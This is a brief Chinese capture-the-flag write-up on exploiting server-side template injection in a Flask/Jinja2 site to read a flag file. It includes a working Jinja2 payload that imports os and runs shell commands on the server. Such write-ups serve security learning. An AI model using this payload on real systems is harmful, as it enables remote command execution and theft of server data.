訪問網址
打開首頁看到Proudly powered by Flask/Jinja2,這邊判斷是和python Flask框架有關係
Google一下試試看SSTI漏洞,/{{6*6}}
中獎! 看來這題是要考SSTI(Server-Side Template Injection)漏洞的利用。
漏洞利用
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
成功在server side 執行命令,可以嘗試用各種命令試試看有沒有需要的檔案
成功取得flag.txt。
後記
為甚麼會有SSTI漏洞的產生,主要的原因是因為伺服器沒有過濾使用者所輸入的命令而是直接執行在server上,可能導致敏感信息洩露、代碼執行、GetShell等問題。關鍵是如何利用這個漏洞來執行我們要執行的代碼,所以我們尋找漏洞利用點。思考範圍是框架本身支持的語法、魔術常數、屬性和函數,以及純框架的全局變量、屬性和函數。然後我們考慮語言本身的特性。